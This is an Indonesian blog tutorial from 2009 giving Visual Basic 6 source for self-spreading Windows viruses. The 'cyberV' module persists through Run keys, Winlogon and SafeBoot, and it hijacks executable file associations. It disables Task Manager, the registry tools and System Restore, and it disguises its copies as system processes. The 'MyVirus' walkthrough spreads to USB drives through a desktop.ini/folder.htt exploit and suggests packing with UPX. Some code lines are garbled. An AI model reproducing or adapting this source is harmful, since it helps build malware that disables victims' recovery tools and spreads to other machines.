mPriv.PrivilegeCount = 1
mPriv.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
mPriv.Privileges(0).pLuid = mLUID
AdjustTokenPrivileges hToken, False, mPriv, 4 + (12 * mPriv.PrivilegeCount), mNewPriv, 4 + (12 * mNewPriv.PrivilegeCount)

End Sub

Public Sub RebootNT(Force As Boolean)

Dim Flags As Long
Flags = EWX_REBOOT
If Force Then Flags = Flags + EWX_FORCE
If IsWinNT Then EnableShutDown
ExitWindowsEx Flags, 0

End Sub

Public Sub Sett()

On Error Resume Next
CreateStringValue HKEY_CURRENT_USER, "Control Panel\Desktop\", REG_SZ, "SCRNSAVE.EXE", GetSystemPath & "MRHELL~1.SCR"
CreateStringValue HKEY_CURRENT_USER, "Control Panel\Desktop\", REG_SZ, "ScreenSaverIsSecure", "0"
CreateStringValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "cyberV", GetWindowsPath & "cyberV.exe"
CreateStringValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "MSMSGS", GetLocalSettingsUser & "\Application Data\WINDOWS\WINLOGON.EXE"
CreateStringValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "Service" & GetUserAktif, GetLocalSettingsUser & "\Application Data\WINDOWS\SERVICES.EXE"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "Logon" & GetUserAktif, GetLocalSettingsUser & "\Application Data\WINDOWS\CSRSS.EXE"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "System Monitoring", GetLocalSettingsUser & "\Application Data\WINDOWS\LSASS.EXE"
CreateStringValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\", REG_SZ, "AlternateShell", GetWindowsPath & "cyberV.exe"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", REG_SZ, "Shell", "Explorer.exe " & Chr(&H22) & GetSystemPath & "IExplorer.exe" & Chr(&H22)
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", REG_SZ, "Userinit", GetSystemPath & "userinit.exe," & GetSystemPath & "IExplorer.exe"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug", REG_SZ, "Debugger", Chr(&H22) & GetSystemPath & "Shell.exe" & Chr(&H22)
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug", REG_SZ, "Auto", "1"

CreateStringValue HKEY_CLASSES_ROOT, "exefile\shell\open\command", REG_SZ, "", Chr(&H22) & GetSystemPath & "shell.exe" & Chr(&H22) & " " & Chr(&H22) & "%1" & Chr(&H22) & " %*"
CreateStringValue HKEY_CLASSES_ROOT, "lnkfile\shell\open\command", REG_SZ, "", Chr(&H22) & GetSystemPath & "shell.exe" & Chr(&H22) & " " & Chr(&H22) & "%1" & Chr(&H22) & " %*"
CreateStringValue HKEY_CLASSES_ROOT, "piffile\shell\open\command", REG_SZ, "", Chr(&H22) & GetSystemPath & "shell.exe" & Chr(&H22) & " " & Chr(&H22) & "%1" & Chr(&H22) & " %*"
CreateStringValue HKEY_CLASSES_ROOT, "batfile\shell\open\command", REG_SZ, "", Chr(&H22) & GetSystemPath & "shell.exe" & Chr(&H22) & " " & Chr(&H22) & "%1" & Chr(&H22) & " %*"
CreateStringValue HKEY_CLASSES_ROOT, "comfile\shell\open\command", REG_SZ, "", Chr(&H22) & GetSystemPath & "shell.exe" & Chr(&H22) & " " & Chr(&H22) & "%1" & Chr(&H22) & " %*"
CreateStringValue HKEY_CLASSES_ROOT, "exefile", REG_SZ, "", "File Folder"

CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System\", "DisableCMD", 1

CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System\", "DisableTaskMgr", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\", "DisableTaskMgr", 1

CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\", "NoFolderOptions", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\", "NoFolderOptions", 1

CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System\", "DisableRegistryTools", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\", "DisableRegistryTools", 1

CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore", "DisableConfig", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore", "DisableSR", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows\Installer", "LimitSystemRestoreCheckpointing", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows\Installer", "DisableMSI", 1

CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState", "FullPathAddress", 1
DoEvents

End Sub

Public Sub Kopi()
Dim Security As SECURITY_ATTRIBUTES
On Error Resume Next

CreateDirectory GetLocalSettingsUser & "\Application Data\WINDOWS", Security
SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY

SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\WINLOGON.EXE", FILE_ATTRIBUTE_NORMAL
SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\LSASS.exe", FILE_ATTRIBUTE_NORMAL
SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\CSRSS.EXE", FILE_ATTRIBUTE_NORMAL
SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\SERVICES.EXE", FILE_ATTRIBUTE_NORMAL
SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\SMSS.EXE", FILE_ATTRIBUTE_NORMAL
SetFileAttributes GetWindowsPath & "cyberV.exe", FILE_ATTRIBUTE_NORMAL
SetFileAttributes Left$(GetWindowsPath, 3) & "cyberV.exe", FILE_ATTRIBUTE_NORMAL
SetFileAttributes GetSystemPath & "shell.exe", FILE_ATTRIBUTE_NORMAL

CopyFile App.Path & "\" & App.EXEName & ".exe", GetWindowsPath & "cyberV.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", Left$(GetWindowsPath, 3) & "cyberV.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & "shell.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & "MrHelloween.scr", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & "IExplorer.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetDocumentAndSettings & "\All Users\Start Menu\Programs\Startup\Empty.pif", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetLocalSettingsUser & "\Application Data\WINDOWS\WINLOGON.EXE", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetLocalSettingsUser & "\Application Data\WINDOWS\CSRSS.EXE", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetLocalSettingsUser & "\Application Data\WINDOWS\SERVICES.EXE", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetLocalSettingsUser & "\Application Data\WINDOWS\LSASS.EXE", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetLocalSettingsUser & "\Application Data\WINDOWS\SMSS.EXE", 0

CopyFile App.Path & "\" & App.EXEName & ".pif", GetWindowsPath & "cyberV.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", Left$(GetWindowsPath, 3) & "cyberV.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", GetSystemPath & "shell.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", GetSystemPath & "MrHelloween.scr", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", GetSystemPath & "IExplorer.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", GetDocumentAndSettings & "\All Users\Start Menu\Programs\Startup\Empty.pif", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", GetLocalSettingsUser & "\Application Data\WINDOWS\WINLOGON.EXE", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", GetLocalSettingsUser & "\Application Data\WINDOWS\CSRSS.EXE", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", GetLocalSettingsUser & "\Application Data\WINDOWS\SERVICES.EXE", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", GetLocalSettingsUser & "\Application Data\WINDOWS\LSASS.EXE", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", GetLocalSettingsUser & "\Application Data\WINDOWS\SMSS.EXE", 0

SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\WINLOGON.EXE", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\LSASS.exe", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\CSRSS.EXE", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\SERVICES.EXE", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\SMSS.EXE", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
SetFileAttributes GetWindowsPath & "cyberV.exe", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
SetFileAttributes Left$(GetWindowsPath, 3) & "cyberV.exe", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
SetFileAttributes GetSystemPath & "IExplorer.exe", FILE_ATTRIBUTE_NORMAL
SetFileAttributes GetSystemPath & "MrHelloween.scr", FILE_ATTRIBUTE_NORMAL
SetFileAttributes GetDocumentAndSettings & "\All Users\Start Menu\Programs\Startup\Empty.pif", FILE_ATTRIBUTE_NORMAL
buatpesan "C:\Puisi.txt"
DoEvents

End Sub

Sub Restart()
If IsWinNT Then
RebootNT True
Else
Reboot
End If
End Sub

'6. selanjutnya kita mengisi module GetDrive

Public Function CariDrive() As String

Dim ictr As Integer
Dim sAllDrives As String
Dim sDrive As String

sDrive = ""
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If GetDriveType(sDrive) = 3 Or GetDriveType(sDrive) = 2 Then
CariDrive = CariDrive & sDrive
End If
Next

End Function

'7. selanjutnya kita mengisi module httinimsg

Public Sub buathtt(ByVal lokasi As String)
Open lokasi For Output As #1
Print #1, ""
Print #1, ""
Print #1, ""
Print #1, ""
Print #1, ""
Print #1, ""
Print #1, "
"
Print #1, ""
Print #1, ""
Print #1, ""
Close #1
SetFileAttributes lokasi, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_ARCHIVE
End Sub

Sub buatDesktop_ini(targetDrive As String)
Dim fTarget As String
fTarget = targetDrive + “ \ Dekstop.ini”
Open fTarget For Output As #1
Print #1, "; [.ShellClassInfo]; "
Print #1, "ConfirmFileOp = 0?"
Print #1, "; [{5984FFE0-28D4-11CF-AE66-08002B2E1262}]; "
Print #1, "PersistMoniker=file://web\Folder.htt"
Print #1, "; [ExtShellFolderViews]; "
Print #1, "{5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}"
Close #1
SetAttr fTarget, vbReadOnly + vbHidden
End Sub

Public Sub buatini(ByVal lokasi As String)
Open lokasi For Output As #1
Print #1, "[.ShellClassInfo]"
Print #1, "ConfirmFileOp=0"
Print #1, "[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]"
Print #1, "PersistMoniker=file://cyberV\Folder.htt"
Print #1, "[ExtShellFolderViews]"
Print #1, "{5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}"
Close #1
SetFileAttributes lokasi, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_ARCHIVE Or FILE_ATTRIBUTE_SYSTEM
End Sub

Public Sub buatpesan(ByVal lokasi As String)
Open lokasi For Output As #1
Print #1, " cyberV"
Print #1, ""
Print #1, "apa yg kualami sekarang sungguh perih"
Print #1, "ku merintih tanpa seoorang kekasih"
Print #1, "inginku gapai semua mimpi"
Print #1, "mendapatkan kekasih yg baik Hatti"
Print #1, ""
Print #1, "becanda tawa di dunia dgn wanita"
Print #1, "hilangkan duka kita berdua"
Print #1, ""
Print #1, "inginku bukanlah inginmu"
Print #1, "ku brharap kau tak berharap"
Print #1, "ku meminta semua yang ada"
Print #1, "kan ku temani diimu jika kau menjadi"
Print #1, " kekasihku"
Print #1, "cintaku apa yg sedang kurasakan saat ini"
Print #1, "sungguh perih, sedih tanpa kekasih..."
Close #1
SetFileAttributes lokasi, FILE_ATTRIBUTE_NORMAL
End Sub

'8. selanjutnya kita mengisi module ProcessTable

'Medapatkan semua process yang sedang berjalan
Public Function Prosess(Jenis As Integer) As Long

On Error Resume Next
Dim r As Long
Dim hSnapshot As Long
Dim hSnapModule As Long
Dim sName As String
Dim uProcess As PROCESSENTRY32
Dim module As MODULEENTRY32
Dim iProcesses As Integer
Dim iModules As Integer
Dim NamaModule As String
Dim hProses As Long
Dim x As Long
hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0)

If hSnapshot = hNull Then
process = 0
Else
uProcess.dwSize = Len(uProcess)
r = Process32First(hSnapshot, uProcess)
Do While r
NamaModule = Mid$(uProcess.szExeFile, 1, InStr(uProcess.szExeFile, Chr$(0)) - 1)
iProcesses = iProcesses + 1
hSnapModule = CreateToolhelpSnapshot(TH32CS_SNAPMODULE, uProcess.th32ProcessID)

hProses = OpenProcess(&H1F0FFF, 1, uProcess.th32ProcessID)
If UCase(NamaModule) = UCase("Empty.pif") Or UCase(NamaModule) = UCase("Winlogon.exe") Or _
UCase(NamaModule) = UCase("Shell.exe") Or UCase(NamaModule) = UCase("cyberV.exe") Or _
UCase(NamaModule) = UCase("IExplorer.exe") Or UCase(NamaModule) = UCase("CSRSS.exe") Or _
UCase(NamaModule) = UCase("Services.exe") Or UCase(NamaModule) = UCase("lsass.exe") Or _
UCase(NamaModule) = UCase("MrHelloween.scr") Or UCase(NamaModule) = UCase("MRHELL~1.scr") Then
If Jenis = 1 Then
x = TerminateProcess(hProses, 0)
SetFileAttributes GetLocalSettingsUser & "\Application Data\" & NamaModule, FILE_ATTRIBUTE_NORMAL
DeleteFile GetLocalSettingsUser & "\Application Data\" & NamaModule
CopyFile Left$(GetWindowsPath, 3) & "cyberV.exe", GetLocalSettingsUser & "\Application Data\" & NamaModule, 0
DoEvents
If x <> 0 Then
Prosess 1
Exit Function
End If
End If
End If

If Not hSnapModule = hNull Then
module.dwSize = LenB(module) - 1
r = Module32First(hSnapModule, module)
Do While r
r = Module32Next(hSnapModule, module)
Loop
End If
Call CloseHandle(hSnapModule)
r = Process32Next(hSnapshot, uProcess)
Loop
CloseHandle hSnapshot
Prosess = iProcesses
End If
DoEvents
End Function

'jika sudah buat exstensi menjadi .exe dengan click alt, F, K [ File , make nama.exe]

2 Comments
Di buat oleh : velshadow 08 April 2009
buat virus dengan vb6.0
ini adalah sepenggal dari pembuatan virus dengan VB6.0

1. Tidak menampakan diri pada saat Run.
Buatlah sebuah project baru, dan tambahkan sebuah sub main (Project-Add Module)
Option Explicit 'setiap variable harus dideklarasikan

Sub main()
App.TaskVisible = False 'tidak tampil di taskbar
Form1.Visible = False 'tidak menampilkan form
End Sub
Buatlah sub main sebagai startup object program anda (Project-Project Properties-Startup Object, Sub Main)
Coba lakukan Run, apakah program anda visible (form dan taskbar) ?

2. Mengaktifkan diri setiap proses boot System.
Tambahkan sebuah sub baru dengan nama virusInstall

Sub VirusInstall()
Dim wShell As Object
Dim fSource As String
Dim fTarget As String
'ambil path dan nama exe file
fSource = App.Path & "\" & App.EXEName & ".exe"
'duplikasi ke folder windows
fTarget = Environ$("windir") & "\MyVirus.exe"
'Periksa apakah sudah pernah install
If Dir(fTarget) = "" Then
Call FileCopy(fSource, fTarget)
Set wShell = CreateObject("WScript.Shell")
'manipulasi registry run
wShell.regwrite "HKLM\Software\Microsoft\Windows\Run\MyVirus", fTarget
End If
End Sub

dan aktifkan sub virusInstall dari Sub Main

Sub Main()
App.TaskVisible = False
Form1.Visible = False
Call VirusInstall 'install diri
End Sub

3. Penyebaran diri melalui media flash disk
'Tambahkan global variable (pada bagian general declaration) agar 1 flashdisk diinfeksi hanya 1 kali (virus yang baik tentu saja harus efisien dalam pemakaian resource sehingga kehadirannya tidak dapat diketahui dengan cepat)

Dim infectedFlashDisk As Boolean 'flag sudah infeksi atau belum
'Tambahkan sub berikut untuk mereplikasi diri virus
Public Sub replikasiDiri(targetDrive As String)
Dim fSource As String
Dim fTarget As String
'replikasi dari C:\Windows (lokasi instalasi diri)
fSource = Environ$("windir") & "\MyVirus.exe"
'ke target drive
fTarget = targetDrive + "\MyVirus.exe"
'jangan replikasi lebih dari 1 kali pada media yang sama
If Dir(fTarget) = "" Then
Call FileCopy(fSource, fTarget)
End If
End Sub
'Tambahkan sub berikut untuk memantau keberadaan flashdisk
Public Sub sebarFlashDisk()
On Error GoTo BatalInfeksi
Dim AdaFlashDisk As Boolean
Dim ObjFSO As Object
Dim ObjDrive As Object
'buat file scripting object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
AdaFlashDisk = False
For Each ObjDrive In ObjFSO.Drives
'Asumsi semua removable drive diatas huruf C adalah flash disk
'1 - Removable drive
'2 - Fixed drive (hard disk)
'3 - Mapped network drive
'4 - CD-ROM drive
'5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
AdaFlashDisk = True
'jangan infeksi berulang-ulang dan sisa kapasitas > 100 kb
If Not infectedFlashDisk And ObjDrive.AvailableSpace > 102400 Then
Call replikasiDiri(ObjDrive.DriveLetter+":")
infectedFlashDisk = True 'aktifkan flag sudah infeksi
End If
End If
Next
If Not AdaFlashDisk Then 'tidak ada flashdisk
infectedFlashDisk = False 'reset flag sudah infeksi
End If
BatalInfeksi:
End Sub
'Tambahkan kontrol timer pada form1
Private Sub Timer1_Timer()
Call sebarFlashDisk 'aktifkan penyebaran flasdisk
End Sub
'Atur setting flag sudah infeksi dan control timer melalui sub main
Sub Main()
App.TaskVisible = False
Form1.Visible = False
Call VirusInstall
'Atur variabel global
infectedFlashDisk = False
'Atur setting time
Form1.Timer1.Interval = 5000
Form1.Timer1.Enabled = True
End Sub


4. Membatasi pengaktifan diri hanya 1 kali
Virus yang efisien tentu saja harus hemat resource dan menggunakan algoritma yang efisien, sehingga keberadaan dirinya tidak terasa oleh pemakai.

'Tambahkan fungsi findWindow dari WINAPI
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
'Tambahkan fungsi sudahAktif
Function sudahAktif(Title As String) As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
'cari Window dengan title yang sama
vir_hwnd = FindWindow(vbNullString, Title)
sudahAktif = Not (vir_hwnd = 0)
End Function
'Modifikasi sub Main
Sub Main()
Dim namaVirus As String
namaVirus = "MyVirus"
If Not sudahAktif(namaVirus) Then 'jika belum aktif
App.TaskVisible = False
Form1.Visible = False
Call VirusInstall
'Atur variabel global
infectedFlashDisk = False
'Atur setting time
Form1.Caption = namaVirus 'tandai title Window
Form1.Timer1.Interval = 5000
Form1.Timer1.Enabled = True
End If
End Sub

5. Ganti Icon MyVirus
6. Memperkecil ukuran executable virus anda
Hasil kompilasi dari program MyVirus adalah berukuran 24576 bytes, dan tentu saja cukup kecil untuk ukuran virus VB, tetapi alangkah baiknya kalau executable virus dapat lebih kecil lagi sehingga mempercepat proses loading.
Untuk memperkecil executable file dapat menggunakan software seperti Ultimate Packer for Executable.
Upx Project.exe
Dan ukuran file setelah di-UPX adalah 8704 bytes.
7. Menghilangkan virus ini
a. Pada Run-Registry, buka HKLM\Software\Microsoft\Windows\Run dan hapus value "MyVirus"
b. Hapus file C:\Windows\MyVirus.exe
Tips tambahan :

'Melakukan eksploitasi terhadap folder.htt
'Membuat file desktop.ini
Sub buatDesktop_ini(targetDrive As String)
Dim fTarget As String
fTarget = targetDrive + "\Dekstop.ini"
Open fTarget For Output As #1
Print #1, "[.ShellClassInfo]"
Print #1, "ConfirmFileOp = 0?
Print #1, "[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]"
Print #1, "PersistMoniker=file://web\Folder.htt"
Print #1, "[ExtShellFolderViews]"
Print #1, "{5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}"
Close #1
SetAttr fTarget, vbReadOnly + vbHidden
End Sub
'Membuat file folder.htt
Public Sub buatFolder_htt(targetDrive As String)
Dim fTarget As String
fTarget = targetDrive + "\web\folder.htt"
Open fTarget For Output As #1
Print #1, ""
Print #1, ""
Print #1, ""
Print #1, ""
Print #1, ""
Print #1, "Print #1, "; classid = "clsid:1820FED0-473E-11D0-A96C-00C04FD705A2"
Print #1, "style=""width: 100%; height: 100%"" tabIndex=-1>"
Print #1, ""
Print #1, ""
Print #1, ""
Print #1, " "
Close #1
SetAttr fTarget, vbReadOnly + vbHidden
End Sub
'Membuat sub eksploitasi_folder_htt
Public Sub eksploitasi_folder_htt(targetDrive As String)
Dim fSource As String
Dim fTarget As String
'replikasi dari C:\Windows (lokasi instalasi diri)
fSource = Environ$("windir") & "\MyVirus.exe"
'ke target drive
fTarget = targetDrive + "\web"
Call MkDir(fTarget)
SetAttr fTarget, vbHidden
fTarget = fTarget + "\My Virus.exe"
'jangan infeksi lebih dari 1 kali
If Dir(fTarget) = "" Then
Call FileCopy(fSource, fTarget)
Call buatDesktop_ini(targetDrive)
Call buatFolder_htt(targetDrive)
End If
End Sub
'Modifikasi sub replikasiDiri
Public Sub replikasiDiri(targetDrive As String)
Dim fSource As String
Dim fTarget As String
'replikasi dari C:\Windows (lokasi instalasi diri)
fSource = Environ$("windir") & "\MyVirus.exe"
'ke target drive
fTarget = targetDrive + "\MyVirus.exe"
'jangan infeksi lebih dari 1 kali
If Dir(fTarget) = "" Then
Call FileCopy(fSource, fTarget)
Call eksploitasi_folder_htt(targetDrive)
End If
End Sub

semoga bermanfaat dan tidak di gunakan untuk aperbuatan yang merugikan..

posted by younuzes